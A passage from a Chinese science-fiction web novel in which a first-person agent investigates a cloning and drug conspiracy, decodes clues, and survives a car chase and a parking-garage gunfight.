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接过水杯,转手放在桌子上,语气有一丝不易察觉的复杂,仿佛是自言自语,“为什么是这个房间?”
我现在应该问“管理局怎么知道的房间号”吗?唉,其实根本不用想,管理局对我的定位精度能到半米内,这就是我宁愿去下层也不愿意在上层待着的原因。
“核心管理层的人这么闲?”我岔开话题,“大清早跑到这种边缘地方?”
林执靠在桌子边上,拿下度数不高的眼镜,捏了捏眉心。
没接我的疑问,也没有施舍给我视线,他似乎不想和我周旋太久:“你的名字显然是移民,你也有核心管理层的手环,所以是外聘顾问。但核心管理层没有你的名字,你到底是什么人?”
有些耳熟的推理,好像吴潍也是这么判断我的。
我踌躇着句子,是应该直接坦白,还是再迂回?管理局让他来找我,自然是打算把我的身份摊牌给他。林执是在验证我是原型?还是真的不知道?
没等我想出个所以然,仿佛是我的沉默暴露了一切,林执抓住机会,眉头压低,一字一句地把我逼到坦白:“我不知道你是谁,但你出现的时机非常微妙。”
我摩挲着指尖,和林执对视,压下心头的不妙。
面前的技术员明显压着熬了大夜、又被迫出外勤的打工人怒火,加上我的闭口不提和诸多疑点,看起来就像个理智拦着的感性火药桶。
我收起攻击性的肢体语言,试图安抚他,可不想点了他这个火药桶。
林执的疲惫和压抑的愤怒,让他听起来恐怖的冷静:“叶琦在你面前被无人机击杀,调文职的吴潍拿现场样本走检验流程,人类异常信仰案件管理局指名你带队,指名我一个幕后技术员和你会面——”
他戴上眼镜,缓了缓情绪,但镜片后视线在迫使我给他一个能让他信服的真相。压低了声音:“我问你,什么人会让管理局怎么重视?如此这么极端地利用你?信任你?”
“你自己当然有答案。”我盯着他,听出他句子里的不确定和确定,“管理局不会让一个全然不知的人接手信仰案件。”
林执沉默着,端起杯子的手有些颤抖,但是声音很平静:“第二世界是真的吗?”
“它只能是真的。”我回答林执,“所有延续至今的影响,都是因为它是真的。”
他放下杯子,不知道是如释重负,还是失望地叹气。最后终于开始讲述他到这的目的:“那份样本含有的成分,整个城市只有我的团队在做,而且是高度机密。不论如何,我都需要亲自来一趟。”
停顿片刻,我开口问他:“那份样本有什么问题?”
林执的食指敲了敲桌子:“样本是仿制品。”
我坐在床边,摸上下巴:“你的意思是组织掌握了这种药物?”
举起手指示意我中断这个想法,他仿佛在跟我上课:“不,准确来说,是掌握了曾经的镇定剂版本。”
版本。我抓到了关键词,等着他继续“上课”。这是给“上司”做解释的职业病,下一秒就该掏出PPT了。
果不其然,林执把自己的手环投屏,周围灯光自动变暗。好几团化学结构模型在我面前反复组合变换,最后变成两种略有不同的结构模型重合,标出不同点。
他的指尖点上标红的地方:“这几个结构化学键的缺失非常典型,需要实验室的特制催化剂才可以稳定出现。因此,我可以肯定,那份样本是反推植物镇定剂的成品——”
“被反推镇定剂的版本号,”我打断了林执的话,几乎可以确定答案,“是不是‘06’?”
林执移开视线,似乎在权衡是否应该说实话。最后他收回手环,整个房间亮了回去:“确实是‘06’,但你是怎么知道的?”
我暂时没有回答他。
姚渊为什么要故意放LEA原料被我们发现?他绝不可能是疏忽,一定有什么目的。
“你们在做什么成品?”我站起身,盯着林执的眼睛,“生命管理局,到底在做什么药剂?”
“机密。”林执在我的威胁下扶了扶眼镜,“这件事和你的案件无关。”
“组织也不应该有这种植物镇定剂。”我把他的关注点拉到现实,“被仿制的镇定剂到底是在做什么?”
林执又看了我一眼,似乎终于意识到我是他某种意义上的上司:“我只知道这种镇定成分可以做人体化学反应的稳定剂,而我的团队不负责这方向的应用。”
好耳熟的作用。
我咬唇:“林执,你知道LEA吗?”
没等林执回答,又有人在敲门。抬头,通过天花板看向自己未来的生命终点,我还得低下头面对有限的生命。
我示意他保持安静,穿过门廊透过猫眼去看,是吴潍。她站在门外左顾右盼,似乎在催促我。
“好慢啊。”她进门对我无心吐槽一句,“哪有老板叫员工起床的道理?”
14. 抽丝剥茧的证据
我坦然自若地把吴潍请进门:“没有员工哪来的老板,能者多劳咯。”
吴潍一眼就看见林执在桌子边强装镇定地伫立,自然是不会放过他可疑地出现:“核心技术员也会出外勤?”
“找你的。”我坐在床边,没指望能彻底瞒住吴潍,“你把报告转发给我,你想不到这一点?”
我没有职责吴潍的意思,我隐瞒的事情太多,她只是用了最极端最有可信度的方式确认我的说法而已。
林执避开视线,不置可否,决定在对话中开启隐身。
吴潍扫了我一眼:“我以为来的会是更加,职业外勤一点的?”
“现在除了我的顶头上司,有第二个人知道我是从辐射区回来的人类了。”我冲吴潍一笑,“不管你想验证什么,这就是答案了。”
吴潍沉默几秒,视线在林执和我中间转了一圈,最后锁定在我的身上:“你和管理局到底有什么交易?”
她的话里带刺,我简单思考两秒,决定把林执拉进对话:“你听起来不信任我,不然听听核心管理层的技术员怎么说?”
被点名的林执不留痕迹地瞪了我一眼,似乎对我把他拉过来当挡箭牌的行为非常不满:“她对辐射区很熟悉,管理局要求她接手案件。”
吴潍皱了一下眉头:“什么案件?”
林执停顿一秒:“你没有任务书吗?”
“案件任务书怎么会发给文职?”我提醒林执,“吴潍得先收到调令走流程,才能经手案件。”
吴潍歪着头看我:“既然如此,管理局是特地把你从辐射区捞回来的?”
“你可以这么理解。”我权衡着真相,抛出哪部分比较合适,“人类异常信仰组织,这就是我能回来的原因。”
“你跟组织有什么关联?”林执似乎终于抓到机会去问这个问题,“为什么管理局觉得你有能力并且可以信任?”
我摸着下巴,留白了这个问题。
林执盯着我:“迄今为止,管理局内和组织深度接触的,只有十年前吴潍领头的队伍。你是其中的哪一位?”
啊,没有十年前案件记忆的吴潍就问不出这个问题。我斟酌着语气:“话不要说得那么死。我是叶琦的朋友。”
林执的表情不由自主地滑向了“人间有真情”疑问版。扶着额头,又放下手,一副无所适从、欲言又止的模样:“管理局为什么要选择叶琦的朋友?十年前案件里的任何一个队员都比一个外人好控制。”
“你这个问题应该去问管理局。”我摆手做无辜状,“而不是我。”
林执握着自己的左手手腕,沉默的几秒似乎挑选了可能性最大的结论:“你想我去调查管理局。”
我没有否认他的说法:“这取决于你,林执。”
而他一定会去查。
十年前的案件,我带回来的物证就是他做的检验。实质的调查,确凿的证据,专业的检验,那份报告简直无懈可击——除了管理局的批复。
那份报告的结论实在离谱。为了不牵扯太多人,报告内容只有作为执笔的我和技术支持的林执知道。不过现在来看,还要再加上现在的吴潍和姚渊。
林执不知道报告批复如何,但“吴潍”在报告上交后的不久,就出了事故调职。报告展示的案件结果只差临门一脚,负责人这个时候出事,过于刻意了。
现在不是回忆的时候,不再关注林执深思的目光,我把视线转向吴潍:“刚刚坦白到哪了?噢,任务书是发给我的,要求我替你为人类异常信仰组织案件负责。”
意料之中,吴潍伸出手,示意给她看任务书。我抬手操作手环,调出任务书,语气平淡:“你挂名,活我做。”
“为什么挂我的名?”她看完任务书,质疑我的说辞,“档案也是官方伪造的,你的真实身份值得这么隐藏吗?”
我收起手环,冲她一笑:“那我去生命管理局顶楼,跟整个城市的人去喊‘我才是真正拥有那个名字的人类’,然后等着组织和管理局两面夹击我,最后把我送去见祖宗吗?”
这番发言让吴潍和林执都沉默了。
“我能说的都告诉你了,吴潍。”我在打破诡异的寂静,“这就是我能拿出来的最大信任。”
不杀了你也是。我心里无力地补充着。眼见着我的发言又要冷场,站起身:“还有什么要问的吗?”
“林执的报告只证明了LEA中含有植物镇定剂,没有什么也特别的。”吴潍因为管理局主动指名我而放弃更深层次的追究,调转话题,“有什么额外信息补充?”
“‘06’目前来看大概率是药剂版本,”我回答吴潍,无视了林执无语的目光,“余殷的那串数字应该是药剂使用者的编号。”
吴潍皱眉,对我把她排除在外的情报共享非常不满:“什么药剂的版本?LEA?”
林执听得一愣,主动插入话题:“什么是LEA?”
“这点让吴潍和你解释。”我看了一眼满脸困惑的林执,叹气,“不确定是什么药剂。我建议分两路行动:你和林执去管理局,调查版本06的镇定剂和什么药剂有关;我去接触组织,调查LEA。”
“等等。”吴潍迅速提出异议,“为什么你这么确定那份镇定剂和管理局的药剂有关?”
我打了个响指,示意林执稍后向吴潍补充具体情况:“总结林执的推测,我们拿到的样品是版本06镇定剂的逆推,而那份样品很可能是LEA药剂的原料之一。基于以上逻辑,LEA也是对管理局药剂的逆推。”
林执觉得这个分工很有问题:“你一个人去调查组织?就算有管理局支持,也太鲁莽了。”
可以说吗?我现在把吴潍做掉我就能有十年前的队伍配置。我忍不住笑了一下:“组织比你们想象得需要我。”
“你确定你可以第二次脱身?”吴潍绞着手指,最后直视我,“姚渊似乎很了解你的战术风格,我觉得悬。”
我起身,不想再延续这个话题:“我死了对他们没有好处。”
“小心生不如死。”林执用冷静的语气说出很恐怖的话,“Wined·Caster女士。”
听到这个词,我拉上行李包拉链,转身和两位一脸“你是不是疯了”的人对视,摆出轻快的语气:“我已经享受过了。”
勉强达成一致,我收拾完出门,等着吴潍整理完一起去退房。
林执靠在走廊墙壁上昏昏欲睡。
我忍不住拍拍他的肩膀:“你多久没睡了?”
他明显被吓了一跳,看见是我又放松下来:“也就两天。医院的成品有些瑕疵,我得去现场查看环境问题;还没解决,又是吴潍送来的样本。”
所以加上联系方式真的只是意外。我同情地点点头,心里想着。
他的头轻轻磕在身后墙壁上,语气里的无力几乎要漫溢出来:“我早晚要被迫提前退休。”
“那也没什么不好的。”我活动了一下左肩,“说起来,你觉得吴潍是什么样的人?”
林执低头看了我一眼,不知道是什么意思:“你是想吐槽你的老板吗?”
我不满他对我的指控,蹙着眉头否认:“比起我的管理局上司,吴潍算得上是很好了。”
林执很轻地笑一声:“是,她确实很好。十年前案子的结果她一个人全抗了,忘了那段时间也不算什么坏事。”
无意识地摩挲行李包的边缘,我想说些什么,最后只有一句:“……无知者反而幸福。”
“但人类有好奇心。”林执看着吴潍的影子在房间里移动,“会对着所有实体和非实体的存在问‘为什么’,尝试满足好奇心,尝试解决问题。”
我晃晃头,觉得他的话也有道理:“那你现在想问哪个为什么?”
林执目光在另一侧,语气是疲惫的平淡:“为什么是我?你在指引我去查管理局。你想我找到什么?”
“管理局隐藏的药剂?文件?我不知道你们能查到什么。”我平静地叹气,“我只是想引入新的变量来试试。”
他似乎听到了什么很好笑的观点:“你很傲慢。”
“当然,七宗罪之首。”我诚心实意地点头,“我不仅傲慢,还自私又天真。”
林执看我的眼神多了点“太有自知之明”的赞赏。玩笑成分大于实际意义,我接受良好。
吴潍背着挎包出现,顺手带上门,抬头看一眼并排靠着的我们:“你俩聊什么呢?听起来一点信心没有。”
“没什么。”我起身,给吴潍做了个“请”的手势,“退完房,我去找姚渊,分头行动。”
“真实信息共享。”吴潍毫不谦虚,走在前面,故意和我强调,“你的耳麦和备用枪我都收好了,真不知道好不好用。”
我摁了电梯下键:“放心,吴老板。要是不好用,我早回不来了。”
告别林执和吴潍,独自坐回车里,我终于可以长舒一口气。独属于自己的空间,没有任何人的干扰。看了眼手环,早上十点,尴尬的时间。
我重新拿出平板,笔记上的那串来自余殷的数字“3822-02-19-12-27-06”依然存在。
在无人机拍照时间戳、辐射区任务时间跨度和坐标之后,我写上了第四种可能:实验体编号。
我看着“02-19-12-27”下方联合标注的“探索队任务周期”,在后方的“06”下方写“LEA版本编号”。
除了开头的“3022”,这串数字似乎离余殷的真正表达异常接近。余殷的死亡日期特地挑了刚好一整年后的2月19日,像是在强烈暗示什么。
我在“3022”下方的“探索队编号”标上了“-1”,“3021”正是余殷出探
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索任务的年份。最后,这串数字就变成了“3021-02-19-12-27-06”。
如果我对余殷的猜测是真的,留下现场自杀照片的余殷是复制体。
“复制体”这三字闯进我脑海的一瞬间,我停顿了一下,在“LEA版本编号”旁边画了个问号。
只有管理局才有技术和能力制造复制体,民间绝不会有这样的能力,不然这个城市就是分裂夺权,而不是管理局独裁了。
基于此,余殷的编号本质上应该是管理局的标识,而非组织的标识,“06”也应该是管理局原版药剂,而不是LEA。
摸了摸平板边缘,我暂时把这个疑点扔在一边,重新往下分析。
那么“12-27”是他回到社会的时间,换一种说法,这是复制体正式启用的时间。按照这个思路,复制体的制造时间大概会是任务周期的任何一天。
毕竟探索队并不是幌子,辐射区对人类来说确实是危险的。
按照我对管理局的理解,余殷大概是在探索中出了意外,管理局选择制造复制体安抚家属,并维持辐射区探索队的百分百生还率。
这是作弊,我叹了一口气。
我在所有数字的最底下写了一行“生物复制体编号”,这些数字包括了原型探索队出发日期,生物复制体启用时间,原型可能死亡时间范围和使用药剂编号。
假如探索队要只有一名成员死亡,这种编号制度确实可以进行标记,如果是多名成员,岂不是不能确定哪一位出现问题了?
好吧,管理局可能更关心他们的药剂有没有效果,而不是单独的人会出现什么问题。
标准的集体牺牲个人的风格。我关掉平板的屏幕,顺手扔到后座,不知道翻涌的是什么心情。我没有办法反驳,就我所见,这就是管理局手头结果最好的选择。
当然,我还有一丝希望,留下照片的余殷不是复制体——余殷就只是精神失常,抑郁自尽。
不管为了确认余殷的身份,还是调查LEA,都得找那个看起来自恋又故作高深的姚总督了。
我调出手环,给姚渊发了条消息:是时候谈谈了。
手环很快获得了消息,但不是姚渊的,是吴潍的,她发了一条“平安回来”。
吴老板真好,我就说我的基因组是完美的。我感动地想着,顺手把这条消息关掉。
又等了一会,姚渊回了条字母结尾的定位,看起来短得奇怪。我沉思两秒,决定只能先按公式手动换算试试。
结果是1932,这是几个意思?
我的手环所有消息都是同步给管理局的,尽管目前管理局不会对我要做的事情有过多干涉,但是姚渊肯定不乐意。
还在琢磨这个数字如何组合出定位,我就看见后视镜里出现一辆加足马力的高调红车,杀气腾腾地直冲我的车尾。
我的停车位后是隔着大路的平坦草坪,连灌木都有没有。来不及多想,猛踩油门,打满方向盘,迅速转移位置。
动静来得非常迅速且突兀,我直觉要去关注所有可能有用的信息。
车牌号是A55904。我深呼吸,压下心跳加速。不管是不是组织的手段,但我算是记住你了,开车不长眼的。
红车没有转弯,沿着既定路线直直冲向旅馆玻璃广告牌。随即轰然一声巨响,透明的玻璃碎片四处炸开。最后整个车辆都爆燃起来,场面甚是醒目。
周围都没有路人,没人来欣赏这辆车最后生命的燃烧。
我撑在方向盘上扶额,带着几分莫名其妙的看热闹心态去多看两眼。
城市边缘没有地下停车场,都是地面停车位。
因为跨城途中的环境恶劣,游客极少选择自驾游;城市人口多集中于城市中心,停车位的需求自然没有那么大。
十分钟内无人机就会到现场,我可不想惹上麻烦。拐出停车位,直行就可以抵达大路。开车挑了个合适的角度,检查车内情况。
驾驶位没有人类。那应该是改装过的自动驾驶车,否则应该会避障,而不是直直撞上去。
难道是组织的手笔?我重新检查车身潜在的数字信息。很快就发现前后车牌不一致,而且因为高温在迅速变色,预计三分钟不到就会彻底消失。
噢,在这等我呢?我不用调整车速,利用后视镜,顺利记下后面的车牌号:Y79466。
趁保安准备封锁现场之前,我开了自动巡航离开现场,重新拉出车内悬浮屏,手动计算坐标。
包含字母的坐标在需要出外勤的管理层更常用。格式严格遵循小数点左三右二,字母在尾,不足用零补齐。
姚渊曾经是城市执行官,也当属管理局麾下,自然是知道的。
用这种方式送坐标?哪来的钱?怎么会这么确定我就正好在场呢?我真的有些佩服他了。
15. 抽丝剥茧的证据
顺利解出见面坐标,那么,姚渊消息里发的就是见面时间。
饭点?我忍不住“啧”了一声。上回的晚饭非得让我吃上?正好,现在是10点46,我还有八个多小时仔细准备。
沿路挑了家顺眼的饭店,我翻着不说人话的菜单,努力从奇特的形容词里找出和“食物”相关的想象。
收银台的店员放着新闻做背景音,我左耳朵进右耳朵出,忽然听见里面的真人主持念着:“——城市边缘西南方多地出现自动驾驶故障导致触障爆炸……”
有点熟悉,感觉我好像刚刚经历过。
这个新闻让我手里的菜单全然无趣了。不再研究名称和实际菜品之间的关联,随手点了招牌,从手环上去翻具体细节。
十七处意外事故,目击者不超过十五人。现场每辆车都没有牌照,因爆炸没有多余线索,技术鉴定为自动驾驶故障。
报废车路线符合曾经的自动驾驶故障案件。故障车辆沿平坦公路巡航,最后能源耗尽,出现撞击事故。
组织的,大概率是姚渊个人的,这项计划展现得高调,并且伪装得很好。就算是报废车,配合上踩点和公关至少小几百万得有了。
我在城市中心没有住处,市中心的旅馆酒店又需要严格的生物认证,而我一旦自驾出了居住郊区,监控密度就会大大降低,只有一个大致的范围。
真舍得砸钱啊。只为了给我坐标?因为抓不到我具体在哪,干脆在附近停车场全部安排了?
真不愧是曾经的城外核清算战争的前线指挥官,大场面手到擒来,计算和规划都是近乎最佳策略。
无人伤亡,目击者极少,边缘区域爆炸,短时间消失的坐标信息,怎么看我都觉得这件事没有那么简单。
怅然地叹气,食指敲着桌面。手环响了一声,有人给我发了条消息,是吴潍,在担心爆炸事件有没有波及到我。
我本想回她一句“不用担心”,最后使了点坏心思,发了条“呜呜,差点被撞死了”。吴潍的已读很快,但是中间的回复间隔了近一分钟,她说:“好的。”
想象到吴潍那张脸上浮现出“无语”和“放心”的交织,我莫名有些得意。至于以后还能不能这样油腔滑调地逗另一个自己,就看吴潍能查到什么了。
我忍不住又在菜单上加了杯汽水,下层的汽水真的扎嘴到难喝了,还是想试试上层的版本。
人类需要气泡甜水,我需要甜水续命。
打发林执和吴潍去查管理局,唯一目的其实只有支开他们。
组织能拿到我当年的报告,还能用逆推管理局的药剂制造LEA,我觉得,可以不通过管理局就能接触到我想要的东西。
姚渊知道我想要什么,他了解我,
但我对他其实不算熟,连他的档案都没怎么仔细研究过。之前的博弈以打斗居多,只有在我追踪他的时候才会夹杂一些动向推测。
十年前的轻敌,结果现在狠狠栽了跟头。
我关掉手环,对着上餐的服务员露出一个浅笑。
顺手摸出桌子下的餐具,一个想法击中了我,动作停顿一秒,最后扶额撑在桌面上:“被他算计了。”
姚渊的目标绝不只是给我这个坐标。就算是为了争取避开管理局完全监视的几个小时,搞这么大动静,也不怕管理局秋后算账?
噢,当然不怕。姚渊想要控制组织的LEA规模,管理局本身主要目标就是LEA走私链。
我说过我不参与他的组织内斗,但被他这么一整,摆明了就是他就对内宣布我是他的底牌。
人生嘛,无非就是算计和被算计。
当然,前提条件限定在“我”。
我端起颜色粉嫩的气泡水,尝了一口。炸开的气泡充盈而酸涩,比起下层气都打不满的“高贵”饮料真是天上地下。
满意地结束午饭,起身回到车上。伸手在地图上标记姚渊给出的定位,在市中心边缘,明显是居住区。
第一次约饭就是家常菜?我挑眉。
别人的,特别是姚渊的,示好只会让我觉得毛骨悚然。
重新规划路线,我决定打个时间差去一趟吴潍家。叶琦家里的重要信息我基本都检查过,但是吴潍家里的信息我只有镜面下的便签,也许还有遗漏的信息。
点着自动巡航,刚拐进居住郊区,就从后视镜里发现车后出现一辆可疑的灰车。保持着不远不近的距离,似乎在确认和跟踪。
我干脆关掉巡航,手动拐进别扭的小路。灰车紧随不舍,但并不急迫。这下我就能确认了。
管理局有我的手环,横竖不至于派车来跟踪,只能是组织里另一个派系。
“操。”我忍不住骂出声,猛打方向盘快速拐上正路,“姚渊你看你做的好事。”
撇了眼时间,12点整。我还得五个多小时才能吃上“通关”的那顿饭。
城市边缘能用的监控很少,我刚拐入监控高密度覆盖区组织就盯上我了,他们很有利;而且我还不熟悉路线,要直接甩掉更不容易。
我一边检查地图,准备拐回到城市边缘区,一边手动驾驶,关注后方灰车的动向。对方似乎意识到我想要回到城市边缘区,反而在我拐弯的时候直行了。
有意思,姚渊刚在这片区域炸过十七辆汽车烟花,自然不会再跟进来动手。我趁着路上没车,直接倒车进入来时的路口,掉头驶入原路。
开走的灰车反应迅速,也学着我原路倒车掉头。没等着灰车追到合适的距离,就强制停向了应急车道。
成功拉开距离。我看着淹没在后视镜地平线上的灰车,勾起嘴角。反正管理局不会吊销我的驾驶证,只要不出车祸那就是随便开。
这座城市的交警只处理有人伤亡的车祸,这种明显的交通违法行为都是无人机检测。
我的车没有登记,但记录在我伪造的档案下。
无人机查到我违规上路,也需要通过档案对我进行操作,然而管理局给我的任务权限很高,它无法对我进行车辆控制。
我这车是老古董,也不一定能被控制就是了。
学我开车?那就等着被无人机强制停车吧。
甩掉一辆还会有另一辆,组织的这一派人已经确认这辆车是我,手段不会这么犹疑了。
管理局为我开的后门只有畅通无阻的权限,要求他们专门停掉指定的车、锁掉某个人的账号几乎不可能。会留下对周围人类而言的实体痕迹和记录,管理局不会冒这个险。
我只能尽快去往吴潍公寓所在的市中心,那里路线更复杂还有高低差,更好甩开追兵。
居住郊区现在非通勤高峰期,而且基本都是宽阔的大路,很容易就被组织的车围追堵截。
下了车,和敌人面对面,我的胜算才会大一些。
开了自动巡航,我填充先前瘫痪执行官的一发子弹,和姚渊碰上而用掉的五发子弹。
高速行驶的准头并不好,但总比只挨打好。
观察后视镜的可疑车辆,我把手枪上膛,翻到后座,开了天窗和后座窗。
弹夹容量是二十五,我需要准确计数,减少空枪影响。只要对面先掏枪瞄准,我就是正当防卫,大不了再做一次笔录。
不过,那就要放姚渊的鸽子了。我盯着后方的一辆黑车,已经和我顺路三分钟了,它的副驾驶位终于出现持枪的目标。
哈,那就麻烦他再炸一回车了。组织财大气粗,又是区区小几百万又不伤筋动骨。
我探出天窗迅速瞄准,对方调转枪口瞄向的瞬间,开枪瞄准对方探出的身体。
这是个错误,对方应该继续瞄准我的车胎或者玻璃。
一枪命中,飞出的血液在高速行驶中迅速消失。被击中的持枪人缩回车内。我打中了他的手掌,肯定会穿透小臂,很难快速调整状态。
我就说,前两天打不中姚渊就只是因为左肩受伤而已。
微调枪口,连开五枪,子弹覆盖对方车辆的前挡风玻璃,尽可能遮挡视野。玻璃的裂隙没有预期大,不意外,是防弹玻璃。
对方的车辆大幅度偏移,趁对方车内人员调整状态,我迅速转移位置,探出后座车窗,抓住轮胎明显暴露在合适位置的机会,瞄准并连续射击。
手枪重量迅速降低,但肉眼可见,只中了一枪。我忍不住“啧”一声。
轮胎就是难瞄,我又很少遇到车战。下层人有车的都少,要么出门靠腿,要么两轮灵活飞驰,我没有训练的靶子啊。
驾驶位的人试图单手操控车辆,根本没法仔细瞄准,似乎开了半个多弹夹,没有一枪准的。我和他还隔着汽车C柱,躲都懒得躲。
黑车失控,直直撞向路边的家用苗圃护栏,最后“吱呀”一声冲进草坪,留下难洗的轮胎胶印。
祝你的草坪未来长势喜人。我在心里对那家户主说。翻身回到驾驶位,将自动巡航改为手动驾驶,猛踩油门,尽可以全速拐入遇到的第一个转弯路口,降低对方瞄准预判正确率。
驾驶位的人也不是善茬,果断放弃控制车辆,全力举枪瞄准我的车胎,尽数清空弹夹。
成功拐进路口,我看见无人机向我的来处直直飞去。这倒挺快,等会管理局就要来兴师问罪了,在下层这么玩他们眼皮都不抬一个。
幸好对方的弹夹本来就没剩多少,最后直接没了声响。修车费在预期之内,管理局又不给报销我的修车费,只能精打细算。
我舒了一口气,重新打开自动巡航。
要是姚渊派人想杀我,绝不会只用两个人,只用两把手枪,再穷也得加上电磁炸弹一换一。
幸好,在城市里唯一会出现的,也最好糊弄过无
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人机的枪械只有手枪。
要是换成下层常见的步枪,再配合这种人生地不熟的开放式道路,我还不如直接跳车跑进绿化带来得存活率高。
路程还有十分钟,市中心绝不会出现这种枪战追逐闹剧了。
管理局还没有无能到这种地步。他们只是因为城市真相而被我有些掣肘,其他人又没和管理局签“保密协议”,分分钟被当成恐怖分子击毙。
对,我把刚刚的小插曲定义为:枪战追逐“闹剧”。对面只派了两个人,还明显是新手,准头差,技术烂,要不是我的车速度跟不上,直接甩开就省事了。
真不知道算是骂姚渊眼光差,还是觉得我好欺负。我深呼吸,检查弹夹,还剩八发,慢条斯理地补满。
在极少听到枪声的上层,开枪更像是摔炮。
我整理好装备,不着边际地想着:见面礼就是近五十响鞭炮,倒真是给足了组织面子。
在我停进吴潍公寓地下车库的时候,管理局终于发了条“袭击者身份”的信息过来。坐在主驾驶思考几秒,我回复:疑似人类异常信仰组织内部LEA走私派系,任务相关,调查中。
等了一会,管理局没有回复。好事,没回复说明接受了这个解释。我开门下车,按照记忆去找吴潍的公寓楼层。
检查周围,没人跟踪,也没人顺路。我看着吴潍的公寓大门有一条缝隙,有些无奈。
当初因为被生命维护执行官破锁而入,吴潍和我都是走的窗。那执行官也不行行好,帮忙关个门。
我进门犹豫一秒,还是决定脱鞋。
环视一圈周围,值钱的东西都还在,没有盗窃的痕迹。没有照片,没有明显格格不入的物件,也没有值得关注的异常。
难道我要白跑一趟?翻了翻吴潍的书房和可能保存关键物品的地方,一无所获。
除了镜面下方的密语“不要忘记”的便签,吴潍活得毫无秘密和兴趣爱好,像两点一线的平淡人类。
我重新从进门动线开始,把我进来的痕迹挨个抹除。指纹不是问题,主要是物件摆放要恢复原状。
等我收拾到书房的时候,我看见桌子上的电脑。忽然意识到,因为吴潍说她不喜欢一切可以电子联网的记录,我就下意识排除了这个选项。
“开机密码。”我坐在椅子上,自言自语着。
开机密码的提示还是“不要忘记”。要不是我见过那张便签,我可能会笑出声。
摸着下巴思考几秒,输入了密语版本的“不要忘记”,独属于“吴潍”小时候的第二语言加密方式。
明显贴在浴室的密码吴潍自然不会用,意料之中的没有通过。不要忘记什么呢?吴潍天天都能看见,那应该是很重要的日期。
数字,字符串……吴潍作为复制体会有一个编号,只不过她自己并不知道。因为从她诞生开始,她就不需要扮演“吴潍”,在这个城市里,她就是吴潍。
所以,应该是别的更直观、更有意义的数字。吴潍的诞生日期应该是3815年11月26日,也就是,她眼里的事故后恢复、出院时间应该也是11月26日。
这一串数字八成就是开机密码了,但我没想着要去试试这个。吴潍作为档案管理员,自然会关注电脑的数据泄露问题,如果贸然开机反而会被她牵制。
她可以在档案里随时更改这个日期,修改档案对她来说本身就有前例,让真正的日期变成只有两个人才会和“吴潍”联系起来的特殊数字。
我不能赌这个可能。
重新关上电脑,我又想起吴潍的那本纸质笔记本。也许电脑里什么重要信息都没有,只是一个诱捕“吴潍原型”的证据。
起身沿着剩下的动线整理好我碰过的物品,我回到门口,穿上鞋,抹掉来过的最后痕迹。把门调整到进门的角度,彻底恢复公寓原状,乘电梯回到地下停车场。
还没到下班时间,空荡的停车场全是我自己的脚步声。我满脑子都是“不要忘记”和“3815-11-26”,顺着记忆找到自己的车,坐回驾驶位。
数字,数字,这几天我都厌烦和数字打交道了。
当时吴潍的纸质笔记本上写着“不要忘记”,“记忆是背叛”和“LEA解药”,除了中间的记忆相关,其他两个现在都有疑似可行的解释。
“出院日期”是十年前我和吴潍同时存在的一天,但没有理由会特殊。到底被我漏掉了什么?让她要求自己记住出院时间,甚至是强迫自己记住?
我看了眼时间,离我在市中心甩开的组织追兵找上来起码还有十几分钟,周围的路线和高低落差可真不是盖的。
市中心绝大多数的驾驶都由自动驾驶接手,自然而然就有统一的规划,路线复杂也根本不是问题。
再次摸出我的平板,试图想起那天的每个细节。
16. 无法言明的聚首
记得我在签署最后的保密协议、知情同意书,接受配发的特制手环,还有一堆把责任推在个人身上的合同,直到晚上我才被核心管理层送去下层,送去组织嘴里“幸福”而“可以得到救赎”的“第二世界”。
我没有和吴潍接触的机会,我跟她都不在一个地方,她在医院,我在管理局。相隔三四个街区,路线更是八竿子打不着一块。
于她而言,这一天为什么重要?城市管理员长期在一线,小磕小碰家常便饭,偶尔住院更是情理之中。
对我来说,没有重要的可能。
不,11月26日,还是吴潍知晓失忆并调职的日子。有些残忍但符合利益的举动,她不会太耿耿于怀。
为什么这一天会重要?我找不到理由,把平板扔到一边。唯一的答案就是,“不要忘记”指的不是“出院日期”。
那应该是什么?疏远曾经的同事;母亲的疏远;艰苦的训练之后改调文职;叶琦知道我是“失踪”更不会去深度接触吴潍,否则吴潍她本人早就应该把管理局的一切都挖出来了——
我想不到,但这部分更像是对应“记忆是背叛”。那时候的吴潍认知和周围环境是有微妙错位的,说不清道不明。
第一次修改居民生命备份时间?第一次走私LEA?不,后者应该对应“LEA解药”。LEA是对被质疑成复制体人类的救赎和解药,吴潍走私同样也出于认同和同情。
解不开。吴潍有我不知道的秘密。
安静的停车场忽然传来引擎的声响,像是有人在找停车位。撇开吴潍无意识给我留下的谜题,我迅速下车锁好,沿着墙壁避开线光,躲在车对面的柱子后。
地下停车场光源基本来自路线指示,方便自动驾驶利用荧光定位,照明并不是主要目的。对人类的视力来说并不友好,我倒是挺习惯。
说真的,要是我现在喊一句“我跟姚渊有仇”,这帮人会不会暂时放过我一马?
来者的暗蓝色车看起很普通,为了躲过无人机的检测,没有明显改装。
目标车停在两个空位外的白线内,从上面下来两个人。光线不足以让我看清脸,也不足以让我看清车里还有多少人。
两个人一左一右地包围我的车。高个子的似乎看见车里没人,贴上玻璃去看内里。
“没人。”高个子对着对面的人说,显然是领头的,“这车玻璃是防弹的,开锁。”
矮个子跪下身,去开我的机械门锁。
早就跟叶琦说过,现在这个年头,机械锁比智能锁难开多了。我摸上后腰的消音器,装到手枪上。
主要目标并不是我,而是以为会有物质的重要信息。怪不得居民郊区的两个人明显是战斗新手,本意就不是战斗。
我拉开一点距离,抬手借着被遮挡的线光定位对方脚部。屏住呼吸,一枪命中的同时瞬间更换自身位置,转移到旁边的支柱后方。
高个子称得上是惨烈又需要压制的惨叫,在安静的停车场里回荡。矮个子迅速起身举枪,不确定方位,跨过定位荧光,谨慎地检查周围。
我上移枪口,故技重施。矮个子被击中,整个人后退几步摔在地上,捂着胸口,咒骂着还想爬起来。
看起来有防弹衣,不过这个距离也够呛的。我转移位置到对方车后,作为新掩体。
高个子粗喘着,举枪瞄准,在我身后落下一串枪响。
枪声还在空旷里回荡,我探头看一眼敌方车内。没有人,后座堆了几个食物包装袋。
没打算揶揄他们不讲卫生,我可是实实在在地在市中心溜了他们几大圈,光是找路就得花不少时间。
我没再拖延,从车盖上探身,瞄准高个子的右肩击发一枪。两个车位最多六米,这个距离看清人形绰绰有余。
高个子痛得说不出话,右手垂落下去,连带着整个人沿着我的爱车坐在地上,左手乘趁机去够掉落的枪。
我翻过车辆,借着冲刺的速度,一脚踩上对方的右肩。
眼见矮个子终于缓过劲站起来,又抬手瞄准。我干脆抬起枪口,顺手给了他一枪,听着对面惨叫着倒回原位,转移枪口,抵着对面的头。
